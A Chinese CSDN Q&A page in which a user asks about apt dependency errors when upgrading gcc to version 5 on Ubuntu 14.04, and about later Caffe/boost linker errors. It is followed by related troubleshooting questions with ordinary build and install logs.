Ubuntu14.04升级gcc版本到5出错

我主要按照博客Ubuntu 14.04 LTS 下升级 gcc 到 gcc-4.9、gcc-5 版本的步骤升级gcc。

sudo add-apt-repository ppa:ubuntu-toolchain-r/test
sudo apt-get update
sudo apt-get install software-properties-common
sudo apt-get upgrade
sudo apt-get install gcc-5 g++-5

之后出现问题:

 gph@gph-pc:~$ sudo apt-get install gcc-5
Reading package lists... Done
Building dependency tree       
Reading state information... Done
Some packages could not be installed. This may mean that you have
requested an impossible situation or if you are using the unstable
distribution that some required packages have not yet been created
or been moved out of Incoming.
The following information may help to resolve the situation:

The following packages have unmet dependencies:
 gcc-5:i386 : Depends: cpp-5:i386 (= 5.4.1-2ubuntu1~14.04) but it is not going to be installed
              Depends: libcc1-0:i386 (>= 5.4.1-2ubuntu1~14.04) but it is not going to be installed
              Depends: binutils:i386 (>= 2.24) but it is not going to be installed
              Depends: libgcc-5-dev:i386 (= 5.4.1-2ubuntu1~14.04) but it is not going to be installed
              Depends: libc6:i386 (>= 2.15) but it is not going to be installed
              Depends: libgcc1:i386 (>= 1:3.0) but it is not going to be installed
              Depends: libgmp10:i386 but it is not going to be installed
              Depends: libisl15:i386 (>= 0.15) but it is not going to be installed
              Depends: libmpc3:i386 but it is not going to be installed
              Depends: libmpfr4:i386 (>= 3.1.3) but it is not going to be installed
              Depends: libstdc++6:i386 (>= 4.1.1) but it is not going to be installed
              Depends: zlib1g:i386 (>= 1:1.1.4) but it is not going to be installed
              Recommends: libc6-dev:i386 (>= 2.13-0ubuntu6) but it is not going to be installed
E: Unable to correct problems, you have held broken packages.

请问有人知道如何解决吗?
已经百度和Google过相关的问题了,还是没有解决,请各位提供帮助,谢谢!

最后通过本地编译安装的方式安装了gcc5.3.0,但是在编译一个代码的时候出现如下错误:

 .build_release/lib/libcaffe.so: undefined reference to `boost::match_results<__gnu_cxx::__normal_iterator<char const*, std::__cxx11::basic_string<char.build_release/lib, std/libcaffe.so: undefined reference to `boost::match_results<__gnu_cxx::__normal_iterator<char const*, std:::__cxx11:::basic_string<charchar_traits, std<::char_traits<charchar>, std::allocator<char> > >, std::allocator<boost::sub_match<>__gnu_cxx::__normal_iterator<, .build_release/tools/get_image_size.o: In function `std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >* google::MakeCheckOpString<unsigned long, unsigned long>(unsigned long const&, unsigned long const&, char const*)':
get_image_size.cpp:(.text._ZN6google17MakeCheckOpStringImmEEPNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEERKT_RKT0_PKc[_ZN6google17MakeCheckOpStringImmEEPNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEERKT_RKT0_PKc]+0x41): undefined reference to `google::base::CheckOpMessageBuilder::NewString[abi:cxx11]()'
.build_release/tools/get_image_size.o: In function `main':
get_image_size.cpp:(.text.startup+0x66): undefined reference to `google::SetUsageMessage(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&)'
get_image_size.cpp:(.text.startup+0x722): undefined reference to `caffe::GetImageSize(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, int*, int*)'

。 。 。 。 。 。

.build_release/lib/libcaffe.so: undefined reference to `google::base::CheckOpMessageBuilder::NewString[abi:cxx11]()'
collect2: error: ld returned 1 exit status
make: *** [.build_release/tools/device_query.bin] Error 1

这又是什么问题。。。?

3个回答

编译器安装包有问题吧

u013832707
持久决心 这是什么意思?能详细点说明吗?
大约 3 年之前 回复

就是有一些依赖,通过源不能直接升级,你需要下载gcc的源码自己来本地编译安装

u013832707
持久决心 最后是通过本地编译安装的gcc-5,但是使用过程中和boost有关的地方出错了,请帮我看一下,谢谢
大约 3 年之前 回复

楼主解决了吗,相同的问题

u013832707
持久决心 我已经忘了,当时的目的不是升级gcc。“最后通过本地编译安装的方式安装了gcc5.3.0”,应该是本地编译安装包升级的吧。祝好运
大约 2 年之前 回复
Csdn user default icon
上传中...
上传图片
插入图片
抄袭、复制答案,以达到刷声望分或其他目的的行为,在CSDN问答是严格禁止的,一经发现立刻封号。是时候展现真正的技术了!
其他相关推荐
Ubuntu14.04 gcc编译出错: undeclared
编译出错:‘EXIT_FALLURE’ undeclared (first use in this function) exit(EXIT_FALLURE); 源码如下: #include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <pthread.h> void *thread_function(void *arg); int main() { int res; pthread_t a_thread; void *thread_result; res = pthread_create(&a_thread,NULL,thread_function,NULL); if(res != 0) { perror("Pthread bulid faile!\n"); exit(EXIT_FAILURE); } sleep(3); printf("Cancel patread...\n"); res = pthread_cancel(a_thread); if(res != 0) { perror("Cancel pathread faile!\n"); exit(EXIT_FAILURE); } sleep(3); printf("Cancel patread...\n"); res = pthread_cancel(a_thread); if(res != 0) { perror("Cancel pathread faile!\n"); exit (EXIT_FAILURE); } exit(EXIT_SUCCESS); } void *thread_function(void *arg) { int i,res; res = pthread_setcancelstste(PTHREAD_CANCEL_ENABLE,NULL); if(res != 0) { perror("Pthread is faile!\n"); exit(EXIT_FALLURE); } printf("Pthread is running!\n"); for(i=0;i<10;i++) { printf("Pthread is running %d...\n"); sleep(1); } pthread_exit(0); }
ubuntu_14.04下gcc编译问题
main函数体仅打印hello,world,gcc发现如下问题,不解: 1. 头文件无#include<stdio.h>,gcc不报错而报警告,为什么? 2. 函数体中使用"exit(EXIT_SUCCESS);"代替“return(0);"需要使用头文件#include<stdlib.h> .如果头文件不加入,会报错 : ”hello.c:9:7: error: ‘EXIT_SUCCESS’ undeclared (first use in this function) exit(EXIT_SUCCESS); “ 3. 将printf和exit原型使用了一个hello.h的头文件放到hello.c同目录下,在hello.c中 加入了头文件#include ”hello.h“,依然出现错误,后将stdlib.h文件重定向>>到hello.h后面(ps删掉main函数),依然报error. 这个问题,希望大神解惑,非常感谢!
ubuntu上把gcc高版本换成低版本
我安装了ubuntu14.04,gcc默认版本为4.8,可是我要用gcc4.7,怎么也换不过来了,各位有谁指点一下
Ubuntu 14.04 TLS Nginx RTMP 测试记录和提问?
参考文章: https://blog.csdn.net/u011298145/article/details/78883598 问题描述: 1、添加nginx-rtmp-module-master时,最后一行报错 ``` root@cccsq-server:/var/www/html/nginx-rtmp/nginx-1.7.5# ./configure --prefix=/usr/local/nginx --add-module=/usr/local/nginx-rtmp-module --with-http_ssl_module --with-http_flv_module --with-http_mp4_module checking for OS + Linux 3.13.0-79-lowlatency x86_64 checking for C compiler ... found + using GNU C compiler + gcc version: 4.8.4 (Ubuntu 4.8.4-2ubuntu1~14.04.4) checking for gcc -pipe switch ... found checking for gcc builtin atomic operations ... found checking for C99 variadic macros ... found checking for gcc variadic macros ... found checking for unistd.h ... found checking for inttypes.h ... found checking for limits.h ... found checking for sys/filio.h ... not found checking for sys/param.h ... found checking for sys/mount.h ... found checking for sys/statvfs.h ... found checking for crypt.h ... found checking for Linux specific features checking for epoll ... found checking for EPOLLRDHUP ... found checking for O_PATH ... found checking for sendfile() ... found checking for sendfile64() ... found checking for sys/prctl.h ... found checking for prctl(PR_SET_DUMPABLE) ... found checking for sched_setaffinity() ... found checking for crypt_r() ... found checking for sys/vfs.h ... found checking for nobody group ... not found checking for nogroup group ... found checking for poll() ... found checking for /dev/poll ... not found checking for kqueue ... not found checking for crypt() ... not found checking for crypt() in libcrypt ... found checking for F_READAHEAD ... not found checking for posix_fadvise() ... found checking for O_DIRECT ... found checking for F_NOCACHE ... not found checking for directio() ... not found checking for statfs() ... found checking for statvfs() ... found checking for dlopen() ... not found checking for dlopen() in libdl ... found checking for sched_yield() ... found checking for SO_SETFIB ... not found checking for SO_ACCEPTFILTER ... not found checking for TCP_DEFER_ACCEPT ... found checking for TCP_KEEPIDLE ... found checking for TCP_FASTOPEN ... found checking for TCP_INFO ... found checking for accept4() ... found checking for int size ... 4 bytes checking for long size ... 8 bytes checking for long long size ... 8 bytes checking for void * size ... 8 bytes checking for uint64_t ... found checking for sig_atomic_t ... found checking for sig_atomic_t size ... 4 bytes checking for socklen_t ... found checking for in_addr_t ... found checking for in_port_t ... found checking for rlim_t ... found checking for uintptr_t ... uintptr_t found checking for system byte ordering ... little endian checking for size_t size ... 8 bytes checking for off_t size ... 8 bytes checking for time_t size ... 8 bytes checking for setproctitle() ... not found checking for pread() ... found checking for pwrite() ... found checking for sys_nerr ... found checking for localtime_r() ... found checking for posix_memalign() ... found checking for memalign() ... found checking for mmap(MAP_ANON|MAP_SHARED) ... found checking for mmap("/dev/zero", MAP_SHARED) ... found checking for System V shared memory ... found checking for POSIX semaphores ... not found checking for POSIX semaphores in libpthread ... found checking for struct msghdr.msg_control ... found checking for ioctl(FIONBIO) ... found checking for struct tm.tm_gmtoff ... found checking for struct dirent.d_namlen ... not found checking for struct dirent.d_type ... found checking for sysconf(_SC_NPROCESSORS_ONLN) ... found checking for openat(), fstatat() ... found checking for getaddrinfo() ... found configuring additional modules adding module in /usr/local/nginx-rtmp-module **./configure: error: no /usr/local/nginx-rtmp-module/config was found** ``` 意思好像说,没有找到这个config 文件,这个路径下面本来就没有这个文件啊,之前没有加载这么多模块的时候,也没有报错。 在末尾添加如下 配置 rtmp {     server {             listen 1935;             chunk_size 4096;             application live {                     live on;                     record off; hls on;   hls_path /usr/share/nginx/html/hls;   hls_fragment 2s;                     exec ffmpeg -i rtmp://localhost/live/$name -threads 1 -c:v libx264 -profile:v baseline -b:v 350K -s 640x360 -f flv -c:a aac -ac 1 -strict -2 -b:a 56k rtmp://localhost/live360p/$name;             }             application live360p {               #该挂载点为360p的压缩画面                     live on;                     record off;         } application hls360p {     #个人测试,单独开放的rtmp+hls360p挂载点和hls2挂载点的360p hls流                 live on;                   hls on;                   hls_path /usr/share/nginx/html/hls2;   hls_fragment 2s;             }       } } 在末尾添加这个,启动ng报错,第108或者109或者110行, 那一行的指令是 server { } ,不知道什么情况。 root@cccsq-server:/var/www/html/nginx-rtmp/nginx-1.7.5# service nginx start * Starting Nginx Server... nginx: [emerg] unknown directive " " in /usr/local/nginx/conf/nginx.conf:119
ubuntu16.04下PX4编译一直出错
PX4编译一直有问题,用脚本也试了,不用脚本一步步安装也尝试了,总会出现如下图的问题 ![图片说明](https://img-ask.csdn.net/upload/201904/13/1555161025_432623.png) GCC装得也是5.4 ![图片说明](https://img-ask.csdn.net/upload/201904/13/1555161085_266496.png) ![图片说明](https://img-ask.csdn.net/upload/201904/13/1555161163_769557.png) 求大神指导
Ubuntu 16.04 编译 Ncurses 6.0 报错
### Ubuntu 16.04 LTS 编译 Ncurses 6.0 报错: ``` In file included from ./curses.priv.h:325:0, from ../ncurses/lib_gen.c:19: _24273.c:843:15: error: expected ‘)’ before ‘int’ ../include/curses.h:1631:56: note: in definition of macro ‘mouse_trafo’ #define mouse_trafo(y,x,to_screen) wmouse_trafo(stdscr,y,x,to_screen) ^ Makefile:962: recipe for target '../objects/lib_gen.o' failed make[1]: *** [../objects/lib_gen.o] Error 1 make[1]: Leaving directory '/home/netsamir/Sofware/Tmux/ncurses-6.0/ncurses' Makefile:113: recipe for target 'all' failed make: *** [all] Error 2 ``` ### 系统配置 ``` $ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 16.04 LTS Release: 16.04 Codename: xenial $ gcc -v Using built-in specs. COLLECT_GCC=gcc COLLECT_LTO_WRAPPER=/usr/lib/gcc/x86_64-linux-gnu/5/lto-wrapper Target: x86_64-linux-gnu Configured with: ../src/configure -v --with-pkgversion='Ubuntu 5.4.0-6ubuntu1~16.04.4' --with-bugurl=file:///usr/share/doc/gcc-5/README.Bugs --enable-languages=c,ada,c++,java,go,d,fortran,objc,obj-c++ --prefix=/usr --program-suffix=-5 --enable-shared --enable-linker-build-id --libexecdir=/usr/lib --without-included-gettext --enable-threads=posix --libdir=/usr/lib --enable-nls --with-sysroot=/ --enable-clocale=gnu --enable-libstdcxx-debug --enable-libstdcxx-time=yes --with-default-libstdcxx-abi=new --enable-gnu-unique-object --disable-vtable-verify --enable-libmpx --enable-plugin --with-system-zlib --disable-browser-plugin --enable-java-awt=gtk --enable-gtk-cairo --with-java-home=/usr/lib/jvm/java-1.5.0-gcj-5-amd64/jre --enable-java-home --with-jvm-root-dir=/usr/lib/jvm/java-1.5.0-gcj-5-amd64 --with-jvm-jar-dir=/usr/lib/jvm-exports/java-1.5.0-gcj-5-amd64 --with-arch-directory=amd64 --with-ecj-jar=/usr/share/java/eclipse-ecj.jar --enable-objc-gc --enable-multiarch --disable-werror --with-arch-32=i686 --with-abi=m64 --with-multilib-list=m32,m64,mx32 --enable-multilib --with-tune=generic --enable-checking=release --build=x86_64-linux-gnu --host=x86_64-linux-gnu --target=x86_64-linux-gnu Thread model: posix gcc version 5.4.0 20160609 (Ubuntu 5.4.0-6ubuntu1~16.04.4) $ g++ -v Using built-in specs. COLLECT_GCC=g++ COLLECT_LTO_WRAPPER=/usr/lib/gcc/x86_64-linux-gnu/5/lto-wrapper Target: x86_64-linux-gnu Configured with: ../src/configure -v --with-pkgversion='Ubuntu 5.4.0-6ubuntu1~16.04.4' --with-bugurl=file:///usr/share/doc/gcc-5/README.Bugs --enable-languages=c,ada,c++,java,go,d,fortran,objc,obj-c++ --prefix=/usr --program-suffix=-5 --enable-shared --enable-linker-build-id --libexecdir=/usr/lib --without-included-gettext --enable-threads=posix --libdir=/usr/lib --enable-nls --with-sysroot=/ --enable-clocale=gnu --enable-libstdcxx-debug --enable-libstdcxx-time=yes --with-default-libstdcxx-abi=new --enable-gnu-unique-object --disable-vtable-verify --enable-libmpx --enable-plugin --with-system-zlib --disable-browser-plugin --enable-java-awt=gtk --enable-gtk-cairo --with-java-home=/usr/lib/jvm/java-1.5.0-gcj-5-amd64/jre --enable-java-home --with-jvm-root-dir=/usr/lib/jvm/java-1.5.0-gcj-5-amd64 --with-jvm-jar-dir=/usr/lib/jvm-exports/java-1.5.0-gcj-5-amd64 --with-arch-directory=amd64 --with-ecj-jar=/usr/share/java/eclipse-ecj.jar --enable-objc-gc --enable-multiarch --disable-werror --with-arch-32=i686 --with-abi=m64 --with-multilib-list=m32,m64,mx32 --enable-multilib --with-tune=generic --enable-checking=release --build=x86_64-linux-gnu --host=x86_64-linux-gnu --target=x86_64-linux-gnu Thread model: posix gcc version 5.4.0 20160609 (Ubuntu 5.4.0-6ubuntu1~16.04.4) ```
ubuntu 12.04 configure Sqlcipher 出问题!!!
ubuntu 12.04 configure Sqlcipher 源码时候,怎么会出问题: :~/sqlcipher/sqlcipher$ sudo ./configure --enable-tempstore=yes CFLAGS="-DSQLITE_HAS_CODEC" LDFLAGS="-lcrypto" checking build system type... i686-pc-linux-gnu checking host system type... i686-pc-linux-gnu checking for gcc... gcc checking whether the C compiler works... no configure: error: in `/home/oliver/sqlcipher/sqlcipher': configure: error: C compiler cannot create executables See `config.log' for more details 找不出原因啊,球解!
ubuntu16.04下--c语言gcc问题
写了一个小链表解决一个问题。 自己电脑上(gcc--version 5.4.0)gcc是没有任何问题的,给定的测试也没有任何问题。 但是在线测试(gcc4.7.2)却一直出现“段错误” 一脸懵逼。。。 请问各位大佬有没有关于这个问题的一些思路啊(如需要也可贴上代码)?
从windows到ubuntu16.04转换C++编译器的问题.
我的电脑从 win10 换到了 ubuntu16.04 , 什么都好 . 就是C++的编译器 gcc/g++ 与windowns下的 vc++ 无法兼容 API 的问题然我很无奈 .
关于python安装pymssql报错,求大神指点,在ubuntu14.04下
报错内容: ``` (pyenvdata)lin@lin-ThinkPad:~$ pip install pymssql Downloading/unpacking pymssql Downloading pymssql-2.1.1.tar.gz (2.4MB): 2.4MB downloaded Running setup.py (path:/home/lin/pyenvdata/build/pymssql/setup.py) egg_info for package pymssql setup.py: platform.system() => 'Linux' setup.py: platform.architecture() => ('64bit', 'ELF') setup.py: platform.linux_distribution() => ('Ubuntu', '14.04', 'trusty') setup.py: platform.libc_ver() => ('glibc', '2.4') setup.py: Not using bundled FreeTDS setup.py: include_dirs = ['/usr/local/include'] setup.py: library_dirs = ['/usr/local/lib'] Installed /home/lin/pyenvdata/build/pymssql/setuptools_git-1.1-py2.7.egg Installing collected packages: pymssql Running setup.py install for pymssql setup.py: platform.system() => 'Linux' setup.py: platform.architecture() => ('64bit', 'ELF') setup.py: platform.linux_distribution() => ('Ubuntu', '14.04', 'trusty') setup.py: platform.libc_ver() => ('glibc', '2.4') setup.py: Not using bundled FreeTDS setup.py: include_dirs = ['/usr/local/include'] setup.py: library_dirs = ['/usr/local/lib'] building '_mssql' extension x86_64-linux-gnu-gcc -pthread -fno-strict-aliasing -DNDEBUG -g -fwrapv -O2 -Wall -Wstrict-prototypes -fPIC -I/usr/local/include -I/usr/include/python2.7 -c _mssql.c -o build/temp.linux-x86_64-2.7/_mssql.o -DMSDBLIB _mssql.c:314:22: fatal error: sqlfront.h: 没有那个文件或目录 #include "sqlfront.h" ^ compilation terminated. error: command 'x86_64-linux-gnu-gcc' failed with exit status 1 Complete output from command /home/lin/pyenvdata/bin/python -c "import setuptools, tokenize;__file__='/home/lin/pyenvdata/build/pymssql/setup.py';exec(compile(getattr(tokenize, 'open', open)(__file__).read().replace('\r\n', '\n'), __file__, 'exec'))" install --record /tmp/pip-c75p_h-record/install-record.txt --single-version-externally-managed --compile --install-headers /home/lin/pyenvdata/include/site/python2.7: setup.py: platform.system() => 'Linux' setup.py: platform.architecture() => ('64bit', 'ELF') setup.py: platform.linux_distribution() => ('Ubuntu', '14.04', 'trusty') setup.py: platform.libc_ver() => ('glibc', '2.4') setup.py: Not using bundled FreeTDS setup.py: include_dirs = ['/usr/local/include'] setup.py: library_dirs = ['/usr/local/lib'] running install running build running build_ext building '_mssql' extension creating build creating build/temp.linux-x86_64-2.7 x86_64-linux-gnu-gcc -pthread -fno-strict-aliasing -DNDEBUG -g -fwrapv -O2 -Wall -Wstrict-prototypes -fPIC -I/usr/local/include -I/usr/include/python2.7 -c _mssql.c -o build/temp.linux-x86_64-2.7/_mssql.o -DMSDBLIB _mssql.c:314:22: fatal error: sqlfront.h: 没有那个文件或目录 #include "sqlfront.h" ^ compilation terminated. error: command 'x86_64-linux-gnu-gcc' failed with exit status 1 ---------------------------------------- Cleaning up... Command /home/lin/pyenvdata/bin/python -c "import setuptools, tokenize;__file__='/home/lin/pyenvdata/build/pymssql/setup.py';exec(compile(getattr(tokenize, 'open', open)(__file__).read().replace('\r\n', '\n'), __file__, 'exec'))" install --record /tmp/pip-c75p_h-record/install-record.txt --single-version-externally-managed --compile --install-headers /home/lin/pyenvdata/include/site/python2.7 failed with error code 1 in /home/lin/pyenvdata/build/pymssql Traceback (most recent call last): File "/home/lin/pyenvdata/bin/pip", line 11, in <module> sys.exit(main()) File "/home/lin/pyenvdata/local/lib/python2.7/site-packages/pip/__init__.py", line 185, in main return command.main(cmd_args) File "/home/lin/pyenvdata/local/lib/python2.7/site-packages/pip/basecommand.py", line 161, in main text = '\n'.join(complete_log) UnicodeDecodeError: 'ascii' codec can't decode byte 0xe6 in position 46: ordinal not in range(128) ```
Ubuntu 14.4安装完QtEmbedded-4.8.5-arm,加载qmake失败十万火急
![图片说明](https://img-ask.csdn.net/upload/201708/15/1502805113_761273.jpg) gcc版本为4.8.4,arm-linux-gcc为4.3.2
ubuntu18.04 python3.6 pip安装mysqlclient报错
ubuntu18.04 python3.6 pip安装mysqlclient报错 求大佬解答 ``` Building wheels for collected packages: mysqlclient Running setup.py bdist_wheel for mysqlclient ... error Complete output from command /usr/bin/python3 -u -c "import setuptools, tokenize;__file__='/tmp/pip-build-njxuuzpo/mysqlclient/setup.py';f=getattr(tokenize, 'open', open)(__file__);code=f.read().replace('\r\n', '\n');f.close();exec(compile(code, __file__, 'exec'))" bdist_wheel -d /tmp/tmpzs54ny_2pip-wheel- --python-tag cp36: running bdist_wheel running build running build_py creating build creating build/lib.linux-x86_64-3.6 creating build/lib.linux-x86_64-3.6/MySQLdb copying MySQLdb/__init__.py -> build/lib.linux-x86_64-3.6/MySQLdb copying MySQLdb/_exceptions.py -> build/lib.linux-x86_64-3.6/MySQLdb copying MySQLdb/compat.py -> build/lib.linux-x86_64-3.6/MySQLdb copying MySQLdb/connections.py -> build/lib.linux-x86_64-3.6/MySQLdb copying MySQLdb/converters.py -> build/lib.linux-x86_64-3.6/MySQLdb copying MySQLdb/cursors.py -> build/lib.linux-x86_64-3.6/MySQLdb copying MySQLdb/release.py -> build/lib.linux-x86_64-3.6/MySQLdb copying MySQLdb/times.py -> build/lib.linux-x86_64-3.6/MySQLdb creating build/lib.linux-x86_64-3.6/MySQLdb/constants copying MySQLdb/constants/__init__.py -> build/lib.linux-x86_64-3.6/MySQLdb/constants copying MySQLdb/constants/CLIENT.py -> build/lib.linux-x86_64-3.6/MySQLdb/constants copying MySQLdb/constants/CR.py -> build/lib.linux-x86_64-3.6/MySQLdb/constants copying MySQLdb/constants/ER.py -> build/lib.linux-x86_64-3.6/MySQLdb/constants copying MySQLdb/constants/FIELD_TYPE.py -> build/lib.linux-x86_64-3.6/MySQLdb/constants copying MySQLdb/constants/FLAG.py -> build/lib.linux-x86_64-3.6/MySQLdb/constants running build_ext building 'MySQLdb._mysql' extension creating build/temp.linux-x86_64-3.6 creating build/temp.linux-x86_64-3.6/MySQLdb x86_64-linux-gnu-gcc -pthread -DNDEBUG -g -fwrapv -O2 -Wall -g -fstack-protector-strong -Wformat -Werror=format-security -Wdate-time -D_FORTIFY_SOURCE=2 -fPIC -Dversion_info=(1,4,5,'final',0) -D__version__=1.4.5 -I/usr/include/mysql -I/usr/include/python3.6m -c MySQLdb/_mysql.c -o build/temp.linux-x86_64-3.6/MySQLdb/_mysql.o x86_64-linux-gnu-gcc -pthread -shared -Wl,-O1 -Wl,-Bsymbolic-functions -Wl,-Bsymbolic-functions -Wl,-z,relro -Wl,-Bsymbolic-functions -Wl,-z,relro -g -fstack-protector-strong -Wformat -Werror=format-security -Wdate-time -D_FORTIFY_SOURCE=2 build/temp.linux-x86_64-3.6/MySQLdb/_mysql.o -lmysqlclient -lpthread -lz -lm -lrt -latomic -lssl -lcrypto -ldl -o build/lib.linux-x86_64-3.6/MySQLdb/_mysql.cpython-36m-x86_64-linux-gnu.so /usr/bin/ld: cannot find -lssl /usr/bin/ld: cannot find -lcrypto collect2: error: ld returned 1 exit status error: command 'x86_64-linux-gnu-gcc' failed with exit status 1 ---------------------------------------- Failed building wheel for mysqlclient Running setup.py clean for mysqlclient Failed to build mysqlclient Installing collected packages: mysqlclient Running setup.py install for mysqlclient ... error Complete output from command /usr/bin/python3 -u -c "import setuptools, tokenize;__file__='/tmp/pip-build-njxuuzpo/mysqlclient/setup.py';f=getattr(tokenize, 'open', open)(__file__);code=f.read().replace('\r\n', '\n');f.close();exec(compile(code, __file__, 'exec'))" install --record /tmp/pip-ldoqhl56-record/install-record.txt --single-version-externally-managed --compile --user --prefix=: running install running build running build_py creating build creating build/lib.linux-x86_64-3.6 creating build/lib.linux-x86_64-3.6/MySQLdb copying MySQLdb/__init__.py -> build/lib.linux-x86_64-3.6/MySQLdb copying MySQLdb/_exceptions.py -> build/lib.linux-x86_64-3.6/MySQLdb copying MySQLdb/compat.py -> build/lib.linux-x86_64-3.6/MySQLdb copying MySQLdb/connections.py -> build/lib.linux-x86_64-3.6/MySQLdb copying MySQLdb/converters.py -> build/lib.linux-x86_64-3.6/MySQLdb copying MySQLdb/cursors.py -> build/lib.linux-x86_64-3.6/MySQLdb copying MySQLdb/release.py -> build/lib.linux-x86_64-3.6/MySQLdb copying MySQLdb/times.py -> build/lib.linux-x86_64-3.6/MySQLdb creating build/lib.linux-x86_64-3.6/MySQLdb/constants copying MySQLdb/constants/__init__.py -> build/lib.linux-x86_64-3.6/MySQLdb/constants copying MySQLdb/constants/CLIENT.py -> build/lib.linux-x86_64-3.6/MySQLdb/constants copying MySQLdb/constants/CR.py -> build/lib.linux-x86_64-3.6/MySQLdb/constants copying MySQLdb/constants/ER.py -> build/lib.linux-x86_64-3.6/MySQLdb/constants copying MySQLdb/constants/FIELD_TYPE.py -> build/lib.linux-x86_64-3.6/MySQLdb/constants copying MySQLdb/constants/FLAG.py -> build/lib.linux-x86_64-3.6/MySQLdb/constants running build_ext building 'MySQLdb._mysql' extension creating build/temp.linux-x86_64-3.6 creating build/temp.linux-x86_64-3.6/MySQLdb x86_64-linux-gnu-gcc -pthread -DNDEBUG -g -fwrapv -O2 -Wall -g -fstack-protector-strong -Wformat -Werror=format-security -Wdate-time -D_FORTIFY_SOURCE=2 -fPIC -Dversion_info=(1,4,5,'final',0) -D__version__=1.4.5 -I/usr/include/mysql -I/usr/include/python3.6m -c MySQLdb/_mysql.c -o build/temp.linux-x86_64-3.6/MySQLdb/_mysql.o x86_64-linux-gnu-gcc -pthread -shared -Wl,-O1 -Wl,-Bsymbolic-functions -Wl,-Bsymbolic-functions -Wl,-z,relro -Wl,-Bsymbolic-functions -Wl,-z,relro -g -fstack-protector-strong -Wformat -Werror=format-security -Wdate-time -D_FORTIFY_SOURCE=2 build/temp.linux-x86_64-3.6/MySQLdb/_mysql.o -lmysqlclient -lpthread -lz -lm -lrt -latomic -lssl -lcrypto -ldl -o build/lib.linux-x86_64-3.6/MySQLdb/_mysql.cpython-36m-x86_64-linux-gnu.so /usr/bin/ld: cannot find -lssl /usr/bin/ld: cannot find -lcrypto collect2: error: ld returned 1 exit status error: command 'x86_64-linux-gnu-gcc' failed with exit status 1 ---------------------------------------- Command "/usr/bin/python3 -u -c "import setuptools, tokenize;__file__='/tmp/pip-build-njxuuzpo/mysqlclient/setup.py';f=getattr(tokenize, 'open', open)(__file__);code=f.read().replace('\r\n', '\n');f.close();exec(compile(code, __file__, 'exec'))" install --record /tmp/pip-ldoqhl56-record/install-record.txt --single-version-externally-managed --compile --user --prefix=" failed with error code 1 in /tmp/pip-build-njxuuzpo/mysqlclient/ ```
用Ubuntu16.04编译iDT算法(c++)时报错:/usr/lib/gcc/x86_64-linux-gnu/5/../../../x86_64-linux-gnu/crt1.o: In function `_start':(.text+0x20): undefined reference to `main'
最近在学习iDT算法,刚刚接触Ubuntu也刚刚接触c++,很多东西不是很懂,请教各位: 我在编译iDT算法的时候,需要依赖opencv和ffmpeg两个库,我安装成功并且确保这两个库能用之后,去编译iDT算法,'make'之后报错: ![图片说明](https://img-ask.csdn.net/upload/202001/10/1578648835_846854.png) 查过资料,有的人说是缺少main函数,但是我确保.cpp文件里是有main函数的。 也有帖子说是crt1.o文件的问题,也有帖子说是动态库的问题,现在很迷茫,不知道问题出在哪里,希望各位能够帮助我,万分感谢。 同时为了方便各位帮我找到问题,我上一下我的makefile文件以及Opencv和ffmpeg的安装信息。 Makefile文件 ``` # set the binaries that have to be built TARGETS := DenseTrack Video # set the build configuration set BUILD := release #BUILD := debug # set bin and build dirs BUILDDIR := .build_$(BUILD) BINDIR := $(BUILD) # libraries LDLIBS = $(addprefix -l, $(LIBS) $(LIBS_$(notdir $*))) LIBS := \ opencv_core opencv_highgui opencv_video opencv_imgproc \ avformat avdevice avutil avcodec swscale # set some flags and compiler/linker specific commands CXXFLAGS = -pipe -D __STDC_CONSTANT_MACROS -D STD=std -Wall $(CXXFLAGS_$(BUILD)) -I. -I/opt/include CXXFLAGS_debug := -ggdb CXXFLAGS_release := -O3 -DNDEBUG -ggdb LDFLAGS = -L/opt/lib -pipe -Wall $(LDFLAGS_$(BUILD)) LDFLAGS_debug := -ggdb LDFLAGS_release := -O3 -ggdb include make/generic.mk ``` 下面是opencv和ffmpeg的安装信息: ffmpeg: ![图片说明](https://img-ask.csdn.net/upload/202001/10/1578649174_591798.png) opencv: ![图片说明](https://img-ask.csdn.net/upload/202001/10/1578649330_643110.png) 恳请各位帮忙!!(小弟没有金币,没办法给悬赏,还请各位见谅!)
ubuntu 13.04搭建交叉编译环境
ky@ubuntu:~$ sudo apt-get install gcc g++ binutils patch bzip2 flex bison make autoconf gettext texinfo unzip sharutils subversion libncurses5-dev ncurses-term zlib1g-dev Reading package lists... Done Building dependency tree Reading state information... Done flex is already the newest version. g++ is already the newest version. subversion is already the newest version. bzip2 is already the newest version. gettext is already the newest version. patch is already the newest version. gcc is already the newest version. unzip is already the newest version. make is already the newest version. binutils is already the newest version. Some packages could not be installed. This may mean that you have requested an impossible situation or if you are using the unstable distribution that some required packages have not yet been created or been moved out of Incoming. The following information may help to resolve the situation: The following packages have unmet dependencies: libncurses5-dev : Depends: libncurses5 (= 5.9-4) but 5.9-10ubuntu4 is to be installed Depends: libtinfo-dev (= 5.9-4) but it is not going to be installed Depends: ncurses-bin (= 5.9-4) but 5.9-10ubuntu4 is to be installed zlib1g-dev : Depends: zlib1g (= 1:1.2.3.4.dfsg-3ubuntu4) but 1:1.2.7.dfsg-13ubuntu2 is to be installed E: Unable to correct problems, you have held broken packages. 请问各位大神一下,怎么解决 The following packages have unmet dependencies: libncurses5-dev : Depends: libncurses5 (= 5.9-4) but 5.9-10ubuntu4 is to be installed Depends: libtinfo-dev (= 5.9-4) but it is not going to be installed Depends: ncurses-bin (= 5.9-4) but 5.9-10ubuntu4 is to be installed zlib1g-dev : Depends: zlib1g (= 1:1.2.3.4.dfsg-3ubuntu4) but 1:1.2.7.dfsg-13ubuntu2 is to be installed
Ubuntu 16.04编译QT5问题 xcb相关
